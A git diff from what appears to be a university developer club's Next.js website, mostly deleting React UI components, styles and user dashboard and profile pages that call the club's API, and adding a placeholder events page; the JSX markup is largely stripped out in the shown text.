-DropdownMenuItem.displayName = DropdownMenuPrimitive.Item.displayName;
-
-const DropdownMenuCheckboxItem = React.forwardRef(
- ({ className, children, checked, ...props }, ref) => (
-
-
-
-
-
-
- {children}
-
- ),
-);
-DropdownMenuCheckboxItem.displayName =
- DropdownMenuPrimitive.CheckboxItem.displayName;
-
-const DropdownMenuRadioItem = React.forwardRef(
- ({ className, children, ...props }, ref) => (
-
-
-
-
-
-
- {children}
-
- ),
-);
-DropdownMenuRadioItem.displayName = DropdownMenuPrimitive.RadioItem.displayName;
-
-const DropdownMenuLabel = React.forwardRef(
- ({ className, inset, ...props }, ref) => (
-
- ),
-);
-DropdownMenuLabel.displayName = DropdownMenuPrimitive.Label.displayName;
-
-const DropdownMenuSeparator = React.forwardRef(
- ({ className, ...props }, ref) => (
-
- ),
-);
-DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName;
-
-const DropdownMenuShortcut = ({ className, ...props }) => {
- return (
-
- );
-};
-DropdownMenuShortcut.displayName = "DropdownMenuShortcut";
-
-export {
- DropdownMenu,
- DropdownMenuTrigger,
- DropdownMenuContent,
- DropdownMenuItem,
- DropdownMenuCheckboxItem,
- DropdownMenuRadioItem,
- DropdownMenuLabel,
- DropdownMenuSeparator,
- DropdownMenuShortcut,
- DropdownMenuGroup,
- DropdownMenuPortal,
- DropdownMenuSub,
- DropdownMenuSubContent,
- DropdownMenuSubTrigger,
- DropdownMenuRadioGroup,
-};
diff --git a/src/app/components/embla.css b/src/app/components/embla.css
deleted file mode 100644
index 7d8e2fd..0000000
--- a/src/app/components/embla.css
+++ /dev/null
@@ -1,106 +0,0 @@
-.embla {
- /* --slide-height: 40rem; */
- --slide-spacing: 0rem;
- --slide-size: 55%;
-}
-.embla__viewport {
- overflow: hidden;
-}
-.embla__container {
- display: flex;
- touch-action: pan-y pinch-zoom;
- margin-left: calc(var(--slide-spacing) * -1);
-}
-.embla__slide {
- transform: translate3d(0, 0, 0);
- flex: 0 0 var(--slide-size);
- min-width: 0;
- margin: 0;
- padding-left: var(--slide-spacing);
-}
-.embla__slide__number {
- box-shadow: inset 0 0 0 0.2rem var(--detail-medium-contrast);
- border-radius: 1.8rem;
- display: flex;
- align-items: center;
- justify-content: center;
- height: var(--slide-height);
- user-select: none;
-}
-
-.embla__buttons {
- display: grid;
- grid-template-columns: repeat(2, 1fr);
- gap: 0.6rem;
- align-items: center;
-}
-.embla__button {
- -webkit-tap-highlight-color: rgba(var(--text-high-contrast-rgb-value), 0.5);
- -webkit-appearance: none;
- appearance: none;
- background-color: transparent;
- touch-action: manipulation;
- display: inline-flex;
- text-decoration: none;
- cursor: pointer;
- border: 0;
- padding: 0;
- margin: 0;
- box-shadow: inset 0 0 0 0.2rem var(--detail-medium-contrast);
- width: 3.6rem;
- height: 3.6rem;
- z-index: 1;
- border-radius: 50%;
- color: var(--text-body);
- display: flex;
- align-items: center;
- justify-content: center;
-}
-.embla__button:disabled {
- color: var(--detail-high-contrast);
-}
-.embla__button__svg {
- width: 35%;
- height: 35%;
-}
-.embla__dots {
- display: flex;
- flex-wrap: wrap;
- justify-content: flex-end;
- align-items: center;
- margin-right: calc((2.6rem - 1.4rem) / 2 * -1);
-}
-.embla__dot {
- -webkit-tap-highlight-color: rgba(var(--text-high-contrast-rgb-value), 0.5);
- -webkit-appearance: none;
- appearance: none;
- background-color: transparent;
- touch-action: manipulation;
- display: inline-flex;
- text-decoration: none;
- cursor: pointer;
- border: 0;
- padding: 0;
- margin: 0;
- width: 2.6rem;
- height: 2.6rem;
- display: flex;
- align-items: center;
- justify-content: center;
- border-radius: 50%;
-}
-.embla__dot:after {
- box-shadow: inset 0 0 0 0.2rem var(--detail-medium-contrast);
- width: 1.4rem;
- height: 1.4rem;
- border-radius: 50%;
- display: flex;
- align-items: center;
- content: "";
-}
-.embla__dot--selected:after {
- box-shadow: inset 0 0 0 0.2rem var(--text-body);
-}
-.embla__slide__number {
- backface-visibility: hidden;
-}
diff --git a/src/app/components/input-otp.jsx b/src/app/components/input-otp.jsx
deleted file mode 100644
index 6610a7c..0000000
--- a/src/app/components/input-otp.jsx
+++ /dev/null
@@ -1,61 +0,0 @@
-"use client";
-
-import * as React from "react";
-import { DashIcon } from "@radix-ui/react-icons";
-import { OTPInput, OTPInputContext } from "input-otp";
-
-import { cn } from "@/lib/utils";
-
-const InputOTP = React.forwardRef(
- ({ className, containerClassName, ...props }, ref) => (
-
- ),
-);
-InputOTP.displayName = "InputOTP";
-
-const InputOTPGroup = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-InputOTPGroup.displayName = "InputOTPGroup";
-
-const InputOTPSlot = React.forwardRef(({ index, className, ...props }, ref) => {
- const inputOTPContext = React.useContext(OTPInputContext);
- const { char, hasFakeCaret, isActive } = inputOTPContext.slots[index];
-
- return (
-
- {char}
- {hasFakeCaret && (
-
- )}
-
- );
-});
-InputOTPSlot.displayName = "InputOTPSlot";
-
-const InputOTPSeparator = React.forwardRef(({ ...props }, ref) => (
-
-
-
-));
-InputOTPSeparator.displayName = "InputOTPSeparator";
-
-export { InputOTP, InputOTPGroup, InputOTPSlot, InputOTPSeparator };
diff --git a/src/app/components/input.jsx b/src/app/components/input.jsx
deleted file mode 100644
index 7fad7d4..0000000
--- a/src/app/components/input.jsx
+++ /dev/null
@@ -1,20 +0,0 @@
-import * as React from "react";
-
-import { cn } from "@/lib/utils";
-
-const Input = React.forwardRef(({ className, type, ...props }, ref) => {
- return (
-
- );
-});
-Input.displayName = "Input";
-
-export { Input };
diff --git a/src/app/components/label.jsx b/src/app/components/label.jsx
deleted file mode 100644
index f344d76..0000000
--- a/src/app/components/label.jsx
+++ /dev/null
@@ -1,22 +0,0 @@
-"use client";
-
-import * as React from "react";
-import * as LabelPrimitive from "@radix-ui/react-label";
-import { cva } from "class-variance-authority";
-
-import { cn } from "@/lib/utils";
-
-const labelVariants = cva(
- "text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70",
-);
-
-const Label = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-Label.displayName = LabelPrimitive.Root.displayName;
-
-export { Label };
diff --git a/src/app/components/scroll-area.jsx b/src/app/components/scroll-area.jsx
deleted file mode 100644
index 66b064a..0000000
--- a/src/app/components/scroll-area.jsx
+++ /dev/null
@@ -1,46 +0,0 @@
-"use client";
-
-import * as React from "react";
-import * as ScrollAreaPrimitive from "@radix-ui/react-scroll-area";
-
-import { cn } from "@/lib/utils";
-
-const ScrollArea = React.forwardRef(
- ({ className, children, ...props }, ref) => (
-
-
- {children}
-
-
-
-
- ),
-);
-ScrollArea.displayName = ScrollAreaPrimitive.Root.displayName;
-
-const ScrollBar = React.forwardRef(
- ({ className, orientation = "vertical", ...props }, ref) => (
-
-
-
- ),
-);
-ScrollBar.displayName = ScrollAreaPrimitive.ScrollAreaScrollbar.displayName;
-
-export { ScrollArea, ScrollBar };
diff --git a/src/app/components/shadcn-button.jsx b/src/app/components/shadcn-button.jsx
deleted file mode 100644
index 0d53adf..0000000
--- a/src/app/components/shadcn-button.jsx
+++ /dev/null
@@ -1,52 +0,0 @@
-import * as React from "react";
-import { Slot } from "@radix-ui/react-slot";
-import { cva } from "class-variance-authority";
-
-import { cn } from "@/lib/utils";
-
-const buttonVariants = cva(
- "inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-neutral-950 disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0 dark:focus-visible:ring-neutral-300",
- {
- variants: {
- variant: {
- default:
- "bg-neutral-900 text-neutral-50 shadow hover:bg-neutral-900/90 dark:bg-neutral-50 dark:text-neutral-900 dark:hover:bg-neutral-50/90",
- destructive:
- "bg-red-500 text-neutral-50 shadow-sm hover:bg-red-500/90 dark:bg-red-900 dark:text-neutral-50 dark:hover:bg-red-900/90",
- outline:
- "border border-neutral-200 bg-white shadow-sm hover:bg-neutral-100 hover:text-neutral-900 dark:border-neutral-800 dark:bg-neutral-950 dark:hover:bg-neutral-800 dark:hover:text-neutral-50",
- secondary:
- "bg-neutral-100 text-neutral-900 shadow-sm hover:bg-neutral-100/80 dark:bg-neutral-800 dark:text-neutral-50 dark:hover:bg-neutral-800/80",
- ghost:
- "hover:bg-neutral-100 hover:text-neutral-900 dark:hover:bg-neutral-800 dark:hover:text-neutral-50",
- link: "text-neutral-900 underline-offset-4 hover:underline dark:text-neutral-50",
- },
- size: {
- default: "h-9 px-4 py-2",
- sm: "h-8 rounded-md px-3 text-xs",
- lg: "h-10 rounded-md px-8",
- icon: "h-9 w-9",
- },
- },
- defaultVariants: {
- variant: "default",
- size: "default",
- },
- },
-);
-
-const Button = React.forwardRef(
- ({ className, variant, size, asChild = false, ...props }, ref) => {
- const Comp = asChild ? Slot : "button";
- return (
-
- );
- },
-);
-Button.displayName = "Button";
-
-export { Button, buttonVariants };
diff --git a/src/app/components/textarea.jsx b/src/app/components/textarea.jsx
deleted file mode 100644
index 82e81d0..0000000
--- a/src/app/components/textarea.jsx
+++ /dev/null
@@ -1,19 +0,0 @@
-import * as React from "react";
-
-import { cn } from "@/lib/utils";
-
-const Textarea = React.forwardRef(({ className, ...props }, ref) => {
- return (
-
- );
-});
-Textarea.displayName = "Textarea";
-
-export { Textarea };
diff --git a/src/app/components/toast.jsx b/src/app/components/toast.jsx
deleted file mode 100644
index 1039547..0000000
--- a/src/app/components/toast.jsx
+++ /dev/null
@@ -1,104 +0,0 @@
-"use client";
-import * as React from "react";
-import { Cross2Icon } from "@radix-ui/react-icons";
-import * as ToastPrimitives from "@radix-ui/react-toast";
-import { cva } from "class-variance-authority";
-
-import { cn } from "@/lib/utils";
-
-const ToastProvider = ToastPrimitives.Provider;
-
-const ToastViewport = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-ToastViewport.displayName = ToastPrimitives.Viewport.displayName;
-
-const toastVariants = cva(
- "group pointer-events-auto relative flex w-full items-center justify-between space-x-2 overflow-hidden rounded-md border border-neutral-200 p-4 pr-6 shadow-lg transition-all data-[swipe=cancel]:translate-x-0 data-[swipe=end]:translate-x-[var(--radix-toast-swipe-end-x)] data-[swipe=move]:translate-x-[var(--radix-toast-swipe-move-x)] data-[swipe=move]:transition-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[swipe=end]:animate-out data-[state=closed]:fade-out-80 data-[state=closed]:slide-out-to-right-full data-[state=open]:slide-in-from-top-full data-[state=open]:sm:slide-in-from-bottom-full dark:border-neutral-800",
- {
- variants: {
- variant: {
- default:
- "border bg-white text-neutral-950 dark:bg-neutral-950 dark:text-neutral-50",
- destructive:
- "destructive group border-red-500 bg-red-500 text-neutral-50 dark:border-red-900 dark:bg-red-900 dark:text-neutral-50",
- },
- },
- defaultVariants: {
- variant: "default",
- },
- },
-);
-
-const Toast = React.forwardRef(({ className, variant, ...props }, ref) => {
- return (
-
- );
-});
-Toast.displayName = ToastPrimitives.Root.displayName;
-
-const ToastAction = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-ToastAction.displayName = ToastPrimitives.Action.displayName;
-
-const ToastClose = React.forwardRef(({ className, ...props }, ref) => (
-
-
-
-));
-ToastClose.displayName = ToastPrimitives.Close.displayName;
-
-const ToastTitle = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-ToastTitle.displayName = ToastPrimitives.Title.displayName;
-
-const ToastDescription = React.forwardRef(({ className, ...props }, ref) => (
-
-));
-ToastDescription.displayName = ToastPrimitives.Description.displayName;
-
-export {
- ToastProvider,
- ToastViewport,
- Toast,
- ToastTitle,
- ToastDescription,
- ToastClose,
- ToastAction,
-};
diff --git a/src/app/components/toaster.jsx b/src/app/components/toaster.jsx
deleted file mode 100644
index 5a62a88..0000000
--- a/src/app/components/toaster.jsx
+++ /dev/null
@@ -1,35 +0,0 @@
-"use client";
-
-import { useToast } from "@/hooks/use-toast";
-import {
- Toast,
- ToastClose,
- ToastDescription,
- ToastProvider,
- ToastTitle,
- ToastViewport,
-} from "./toast.jsx";
-
-export function Toaster() {
- const { toasts } = useToast();
-
- return (
-
- {toasts.map(function ({ id, title, description, action, ...props }) {
- return (
-
-
- {title && {title} }
- {description && (
- {description}
- )}
-
- {action}
-
-
- );
- })}
-
-
- );
-}
diff --git a/src/app/contact/page.js b/src/app/contact/page.js
deleted file mode 100644
index 3a5259a..0000000
--- a/src/app/contact/page.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import DirectMessageForm from "../components/DirectMessageForm";
-import PageTitleTemplate from "../components/PageTitleTemplate";
-import SocialsAndContact from "../components/SocialsAndContact";
-
-const Page = () => {
- return (
-
- );
-};
-
-export default Page;
diff --git a/src/app/dashboard/page.js b/src/app/dashboard/page.js
deleted file mode 100644
index 8da42bb..0000000
--- a/src/app/dashboard/page.js
+++ /dev/null
@@ -1,385 +0,0 @@
-"use client";
-
-import * as queryString from "query-string";
-import PageTitleTemplate from "../components/PageTitleTemplate";
-import { ScrollArea } from "../components/scroll-area";
-import Image from "next/image";
-import { Textarea } from "../components/textarea";
-import githubLogo from "../images/github.svg";
-import FormDrop from "../components/FormDrop";
-import { useEffect, useState } from "react";
-import { useRouter } from "next/navigation";
-import { useToast } from "@/hooks/use-toast";
-import ResendEmailButton from "../components/ResendEmailButton";
-
-export const Box = () => {
- const [loading, setLoading] = useState(true);
- const [resumeLink, setResumeLink] = useState(null);
- const [linkedinLink, setLinkedinLink] = useState(null);
- const [contactEmail, setContactEmail] = useState(null);
- const [githubLink, setGithubLink] = useState(null);
- const [instagramLink, setInstagramLink] = useState(null);
- const [personalLink, setPersonalLink] = useState(null);
- const [bio, setBio] = useState(null);
- const [pfpLink, setPfpLink] = useState(null);
- const [first_name, setFirstName] = useState(null);
- const [last_name, setLastName] = useState(null);
- const [github, setGitub] = useState(null);
- const [verified, setVerified] = useState(null);
-
- const { toast } = useToast();
- const router = useRouter();
-
- useEffect(() => {
- async function fetchUser() {
- const token = sessionStorage.getItem("access_token");
-
- const res = await fetch("https://api.devdogs.uga.edu/users/user_page", {
- method: "GET",
- credentials: "include",
- headers: {
- "Content-Type": "application/json",
- Authorization: "Bearer " + token,
- },
- });
- let data = await res.json();
- data = await data.data;
-
- if (await data.accessToken) {
- sessionStorage.setItem("access_token", data.accessToken);
- }
-
- console.log(await data);
- setResumeLink((await data.user_page?.resume_link) || null);
- setLinkedinLink((await data.user_page?.linkedin_link) || null);
- setContactEmail((await data.user_page?.contact_email) || null);
- setGithubLink((await data.user_page?.github_link) || null);
- setInstagramLink((await data.user_page?.instagram_link) || null);
- setPersonalLink((await data.user_page?.personal_link) || null);
- setBio((await data.user_page?.bio) || null);
- setPfpLink((await data.user_page?.pfp_link) || null);
- setFirstName((await data.user_page?.userInfo.first_name) || null);
- setLastName((await data.user_page?.userInfo.last_name) || null);
- setGitub((await data.user_page?.userInfo.users?.githubLogin) || null);
- setVerified(
- (await data.user_page?.userInfo.email_verification?.verified) || null,
- );
- setLoading(false);
- }
- fetchUser();
- }, []);
-
- if (loading) return Loading...
;
-
- const handlePfPChange = async (url) => {
- const profilePic = await url;
- setPfpLink(profilePic);
- try {
- const token = sessionStorage.getItem("access_token");
- console.log(pfpLink);
-
- const res = await fetch("https://api.devdogs.uga.edu/users/user_page", {
- method: "PATCH",
- credentials: "include",
- headers: {
- "Content-Type": "application/json",
- Authorization: "Bearer " + token,
- },
- body: JSON.stringify({
- resume_link: resumeLink,
- linkedin_link: linkedinLink,
- contact_email: contactEmail,
- github_link: githubLink,
- instagram_link: instagramLink,
- personal_link: personalLink,
- bio: bio,
- pfp_link: profilePic,
- first_name: first_name,
- last_name: last_name,
- }),
- });
-
- let data = await res.json();
- console.log(await data);
- if (await data.data.accessToken) {
- sessionStorage.setItem("access_token", data.data.accessToken);
- }
- } catch (err) {
- console.error(err);
- }
- };
-
- const logout = async () => {
- try {
- await fetch("https://api.devdogs.uga.edu/auth/logout", {
- method: "GET",
- credentials: "include",
- headers: {
- "Content-Type": "application/json",
- },
- });
- console.log("Logged out");
- router.push("/");
- } catch (error) {
- console.error("Logout failed:", error);
- }
- sessionStorage.clear("email");
- };
-
- const updateUserInfo = async () => {
- try {
- const token = sessionStorage.getItem("access_token");
-
- const res = await fetch("https://api.devdogs.uga.edu/users/user_page", {
- method: "PATCH",
- credentials: "include",
- headers: {
- "Content-Type": "application/json",
- Authorization: "Bearer " + token,
- },
- body: JSON.stringify({
- resume_link: resumeLink,
- linkedin_link: linkedinLink,
- contact_email: contactEmail,
- github_link: githubLink,
- instagram_link: instagramLink,
- personal_link: personalLink,
- bio: bio,
- pfp_link: pfpLink,
- first_name: first_name,
- last_name: last_name,
- }),
- });
-
- let data = await res.json();
- console.log(await data.status);
- if (await data.data) {
- toast({
- title: "Changes Saved",
- description:
- "Changes have been saved successfully. Check your page to see them.",
- });
- }
- if (await data.data.accessToken) {
- sessionStorage.setItem("access_token", data.data.accessToken);
- }
- } catch (err) {
- console.error(err);
- }
- };
-
- const params = queryString.default.stringify({
- client_id: "Ov23li4ImDoJt0HXf1wb",
- redirect_uri: "https://api.devdogs.uga.edu/auth/callback",
- scope: ["read:user", "user:email"].join(" "), // space seperated string
- allow_signup: true,
- });
-
- const githubLoginUrl = `https://github.com/login/oauth/authorize?${params}`;
-
- return (
-
-
-
-
-
Categories
-
-
-
- Logout
-
-
-
-
- Personal Information
-
- {!verified ? (
-
-
-
- ) : null}
-
-
-
-
-
Biography
-
setBio(e.target.value)}
- value={bio}
- />
-
- {/*
-
- Discard Changes
-
-
*/}
-
-
- Save Changes
-
-
-
-
-
-
- Links & Socials
-
-
- Only links you provide will appear on your public profile.
-
- Resume Download Link
- setResumeLink(e.target.value)}
- value={resumeLink}
- />
-
- Linkedln Link
- setLinkedinLink(e.target.value)}
- value={linkedinLink}
- />
-
-
- Preferred Contact Email
-
- setContactEmail(e.target.value)}
- value={contactEmail}
- />
-
- Github Link
- setGithubLink(e.target.value)}
- value={githubLink}
- />
-
- Instagram Link
- setInstagramLink(e.target.value)}
- value={instagramLink}
- />
-
- Personal Website Link
- setPersonalLink(e.target.value)}
- value={personalLink}
- />
-
-
- {/*
-
- Discard Changes
-
-
*/}
-
-
- Save Changes
-
-
-
-
-
-
-
- );
-};
-
-export default Box;
diff --git a/src/app/dashboard/security/page.js b/src/app/dashboard/security/page.js
deleted file mode 100644
index 0da306a..0000000
--- a/src/app/dashboard/security/page.js
+++ /dev/null
@@ -1,84 +0,0 @@
-"use client";
-
-import PageTitleTemplate from "@/app/components/PageTitleTemplate";
-import { useRouter } from "next/navigation";
-import { useState } from "react";
-
-const Settings = () => {
- const [password, setPassword] = useState("");
- const router = useRouter();
-
- const changePassword = async () => {
- const token = sessionStorage.getItem("access_token");
-
- if (password.length < 8) {
- alert("Password must be at least 8 characters");
- return;
- } else {
- const res = await fetch(
- "https://api.devdogs.uga.edu/auth/updatePassword",
- {
- method: "POST",
- credentials: "include",
- headers: {
- "Content-Type": "application/json",
- Authorization: "Bearer " + token,
- },
- body: JSON.stringify({
- password: password,
- }),
- },
- );
- await res.json();
- router.push("/dashboard");
- }
- };
-
- return (
-
-
-
-
-
-
-
- Account Credentials
-
-
Password
-
setPassword(e.target.value)}
- value={password}
- />
-
-
-
-
-
- );
-};
-
-export default Settings;
diff --git a/src/app/dog/[github]/editing/page.js b/src/app/dog/[github]/editing/page.js
deleted file mode 100644
index 5973039..0000000
--- a/src/app/dog/[github]/editing/page.js
+++ /dev/null
@@ -1,216 +0,0 @@
-"use client";
-
-import { EnvelopeIcon } from "@heroicons/react/24/solid";
-import {
- GitHubLogoIcon,
- InstagramLogoIcon,
- LinkedInLogoIcon,
- CodeIcon,
-} from "@radix-ui/react-icons";
-import Issues_Points from "@/app/components/Issues_Points";
-import { useEffect, useState } from "react";
-
-export default function Page({ params }) {
- const [loading, setLoading] = useState(true);
- const [resumeLink, setResumeLink] = useState(null);
- const [linkedinLink, setLinkedinLink] = useState(null);
- const [contactEmail, setContactEmail] = useState(null);
- const [githubLink, setGithubLink] = useState(null);
- const [instagramLink, setInstagramLink] = useState(null);
- const [personalLink, setPersonalLink] = useState(null);
- const [bio, setBio] = useState(null);
- const [pfpLink, setPfpLink] = useState(null);
- const [first_name, setFirstName] = useState(null);
- const [last_name, setLastName] = useState(null);
- const [github, setGitub] = useState(null);
- const [paid, setPaid] = useState(false);
- const [isAuthenticated, setIsAuthenticated] = useState(false);
-
- async function fetchUser() {
- const res = await fetch(
- "https://api.devdogs.uga.edu/users/pages?github=" + params.github,
- {
- method: "GET",
- credentials: "include",
- headers: {
- "Content-Type": "application/json",
- },
- },
- );
- let data = await res.json();
-
- console.log(await data);
- setResumeLink(
- (await data.user_page?.userInfo?.user_page?.resume_link) || null,
- );
- setLinkedinLink(
- (await data.user_page?.userInfo?.user_page?.linkedin_link) || null,
- );
- setContactEmail(
- (await data.user_page?.userInfo?.user_page?.contact_email) || null,
- );
- setGithubLink(
- (await data.user_page?.userInfo?.user_page?.github_link) || null,
- );
- setInstagramLink(
- (await data.user_page?.userInfo?.user_page?.instagram_link) || null,
- );
- setPersonalLink(
- (await data.user_page?.userInfo?.user_page?.personal_link) || null,
- );
- setBio((await data.user_page?.userInfo?.user_page?.bio) || null);
- setPfpLink((await data.user_page?.userInfo?.user_page?.pfp_link) || null);
- setFirstName((await data.user_page?.userInfo.first_name) || null);
- setLastName((await data.user_page?.userInfo.last_name) || null);
- setGitub((await data.user_page?.userInfo.users?.githubLogin) || null);
- setPaid((await data.user_page?.userInfo?.user_page?.paid) || false);
- setLoading(false);
- }
-
- const checkAuthentication = async () => {
- try {
- const response = await fetch("https://api.devdogs.uga.edu/auth/session", {
- method: "GET",
- credentials: "include",
- headers: {
- "Content-Type": "application/json",
- },
- });
-
- console.log(response);
-
- if (response.ok) {
- setIsAuthenticated(true);
- } else {
- setIsAuthenticated(false);
- }
- } catch (err) {
- console.error("Failed to check authentication:", err);
- }
- };
-
- useEffect(() => {
- checkAuthentication();
- fetchUser();
- }, []);
-
- if (loading) return Loading...
;
-
- if (!isAuthenticated) {
- return (
- You are not authenticated
- );
- }
-
- if (!paid) {
- return (
-
-
User Page not Found
-
- );
- }
-
- return (
-
- {}
-
-
- {first_name + " "}
-
-
- {last_name}
-
-
-
-
-
-
- Edit your info in{" "}
-
- Dashboard
-
- . Only you can see this message.
-
-
- Biography
-
-
-
{bio}
-
-
-
-
-
-
-
-
-
-
-
- {linkedinLink ? (
-
-
-
- ) : null}
-
- {instagramLink ? (
-
-
-
- ) : null}
-
- {githubLink ? (
-
-
-
- ) : null}
-
- {personalLink ? (
-
-
-
- ) : null}
-
- {contactEmail ? (
-
-
-
- ) : null}
-
- {resumeLink ? (
-
- ) : null}
-
-
- {/*
-
- Roles{" "}
-
-
- and{" "}
-
-
- Contributions
-
- */}
-
-
-
- );
-}
diff --git a/src/app/dog/[github]/page.js b/src/app/dog/[github]/page.js
deleted file mode 100644
index 00356cb..0000000
--- a/src/app/dog/[github]/page.js
+++ /dev/null
@@ -1,188 +0,0 @@
-"use client";
-
-import { EnvelopeIcon } from "@heroicons/react/24/solid";
-
-import InstagramIcon from "@/app/images/instagram.svg";
-import EmailIcon from "@/app/images/mail.svg";
-import GitHubIcon from "@/app/images/github.svg";
-import LinkedInIcon from "@/app/images/linkedin.svg";
-import WebsiteIcon from "@/app/images/website.png";
-
-import Image from "next/image";
-import Issues_Points from "../../components/Issues_Points";
-import { useEffect, useState } from "react";
-import { useRouter } from "next/navigation";
-
-export default function Page({ params }) {
- const router = useRouter();
-
- const [loading, setLoading] = useState(true);
- const [resumeLink, setResumeLink] = useState(null);
- const [linkedinLink, setLinkedinLink] = useState(null);
- const [contactEmail, setContactEmail] = useState(null);
- const [githubLink, setGithubLink] = useState(null);
- const [instagramLink, setInstagramLink] = useState(null);
- const [personalLink, setPersonalLink] = useState(null);
- const [bio, setBio] = useState(null);
- const [pfpLink, setPfpLink] = useState(null);
- const [first_name, setFirstName] = useState(null);
- const [last_name, setLastName] = useState(null);
- const [github, setGitub] = useState(null);
- const [paid, setPaid] = useState(false);
- const email = sessionStorage.getItem("email") || null;
-
- useEffect(() => {
- async function fetchUser() {
- const res = await fetch(
- "https://api.devdogs.uga.edu/users/pages?github=" + params.github,
- {
- method: "GET",
- credentials: "include",
- headers: {
- "Content-Type": "application/json",
- },
- },
- );
- let data = await res.json();
-
- console.log(await data);
- setResumeLink(
- (await data.user_page?.userInfo?.user_page?.resume_link) || null,
- );
- setLinkedinLink(
- (await data.user_page?.userInfo?.user_page?.linkedin_link) || null,
- );
- setContactEmail(
- (await data.user_page?.userInfo?.user_page?.contact_email) || null,
- );
- setGithubLink(
- (await data.user_page?.userInfo?.user_page?.github_link) || null,
- );
- setInstagramLink(
- (await data.user_page?.userInfo?.user_page?.instagram_link) || null,
- );
- setPersonalLink(
- (await data.user_page?.userInfo?.user_page?.personal_link) || null,
- );
- setBio((await data.user_page?.userInfo?.user_page?.bio) || null);
- setPfpLink((await data.user_page?.userInfo?.user_page?.pfp_link) || null);
- setFirstName((await data.user_page?.userInfo.first_name) || null);
- setLastName((await data.user_page?.userInfo.last_name) || null);
- setGitub((await data.user_page?.userInfo.users?.githubLogin) || null);
- setPaid((await data.user_page?.userInfo?.user_page?.paid) || false);
-
- if (email == (await data.user_page?.userInfo?.email_address)) {
- router.push("/dog/" + params.github + "/editing");
- }
- setLoading(false);
- }
- fetchUser();
- }, []);
-
- if (loading) return Loading...
;
-
- if (!paid) {
- return (
-
-
User Page not Found
-
- );
- }
-
- return (
-
- {}
-
-
- {first_name + " "}
-
-
- {last_name}
-
-
-
-
-
-
- Biography
-
-
-
{bio}
-
-
-
-
-
-
-
-
-
-
-
- {linkedinLink ? (
-
-
-
- ) : null}
-
- {instagramLink ? (
-
-
-
- ) : null}
-
- {githubLink ? (
-
-
-
- ) : null}
-
- {personalLink ? (
-
-
-
- ) : null}
-
- {contactEmail ? (
-
-
-
- ) : null}
-
- {resumeLink ? (
-
- ) : null}
-
-
-
- {/*
- Roles{" "}
-
-
- and{" "}
- */}
-
- Contributions
-
-
-
-
-
- );
-}
diff --git a/src/app/events/page.tsx b/src/app/events/page.tsx
new file mode 100644
index 0000000..a12a35b
--- /dev/null
+++ b/src/app/events/page.tsx
@@ -0,0 +1,5 @@
+import UnderConstruction from "~/components/UnderConstruction";
+
+export default async function Events() {
+ return ;
+}
diff --git a/src/app/favicon.ico b/src/app/favicon.ico
deleted file mode 100644
index 76de2ca..0000000
Binary files a/src/app/favicon.ico and /dev/null differ
diff --git a/src/app/globals.css b/src/app/globals.css
deleted file mode 100644
index 7a043f7..0000000
--- a/src/app/globals.css
+++ /dev/null
@@ -1,440 +0,0 @@
-@tailwind base;
-@tailwind components;
-@tailwind utilities;
-
-@import url("https://fonts.googleapis.com/css2?family=Heebo:wght@100..900&display=swap");
-
-* {
- margin: 0;
- font-family: myriad-pro, "Heebo", sans-serif;
-}
-
-h1,
-h2,
-h3,
-h4,
-h5,
-h6 {
- font-family: "Heebo", sans-serif;
-}
-
-#titleheader {
- font-size: 70px;
- text-align: right;
-}
-
-#abouttitle,
-#eventtitle,
-#sponsortitle,
-#teamstitle,
-#tiertitle {
- text-align: center;
- padding: 10px;
- margin-top: 100px;
-}
-
-#abouttitle > h1,
-h3,
-#devdawgs,
-#teamtitle,
-#teamtitle > h1 {
- text-align: center;
- padding: 10px;
-}
-
-#abouttitle > h1,
-#eventtitle > h1,
-#teamstitle > h1,
-#sponsortitle > h1,
-#tiertitle > h1 {
- font-size: 3.5rem;
-}
-
-#tiertitle {
- font-size: 2rem;
-}
-
-.section-header {
- font-size: 2.7rem;
-}
-
-.section-header-center {
- font-size: 2.7rem;
- text-align: center;
-}
-
-.section-subheader {
- font-size: 1.75rem;
- padding-bottom: 0.4rem;
-}
-
-#teamtitle > h1 {
- font-size: 3.5rem;
-}
-
-#teamtitle > #officertitle {
- font-size: 2.5rem;
-}
-
-#devdawgs {
- color: #cd0029;
- font-size: 3.3rem;
-}
-
-p {
- font-size: 1.35rem;
- text-wrap: balance;
-}
-
-#eventstitle,
-#eventstitle > h1 {
- text-align: center;
- padding: 10px;
- font-size: 3.5rem;
- margin-bottom: 60px;
-}
-
-#resourcestitle,
-#resourcestitle > h1 {
- text-align: center;
- font-size: 3.5rem;
- padding: 10px;
-}
-
-#grid {
- margin: 10px 40px;
- display: grid;
- grid-template-columns: 1fr 1fr 1fr;
- gap: 7vw;
-}
-
-.page-main-side-padding {
- padding-left: 4rem;
- padding-right: 4rem;
-}
-
-.grid {
- display: grid;
- grid-template-columns: 1fr 1fr;
- align-items: center;
-}
-
-.section {
- background-color: #fff8fc;
- background-image: url("./images/background.png");
- background-position-y: 0rem;
- background-size: contain;
- background-repeat: no-repeat;
- background-blend-mode: normal;
-
- padding-top: 2rem;
- max-width: 80rem;
- max-height: 100%;
- margin-left: auto;
- margin-right: auto;
-}
-
-.dashboard-section {
- background-color: #fff8fc;
- background-image: url("./images/background.png");
- background-position-y: 0rem;
- background-size: cover;
- background-repeat: no-repeat;
- background-blend-mode: normal;
-
- padding-top: 2rem;
- max-width: 80rem;
- max-height: 100%;
- margin-left: auto;
- margin-right: auto;
-}
-
-.section-sponsor {
- background-size: 100% 70%;
- background-position-y: -3rem;
-}
-
-/* Do not uncomment, broken styles, waiting to remove
-.section-home {
- background-size: 100% 45%;
-}
-
-.section-resources {
- background-size: 100% 30%;
- background-position-y: -3rem;
-}
-
-.section-team {
- background-size: 100% 40%;
- background-position-y: -3rem;
-}
-
-.section-event {
- background-size: 100% 40%;
- background-position-y: -3rem;
-}
-
-.section-about {
- background-position-y: -15rem;
- background-size: 100% 35%;
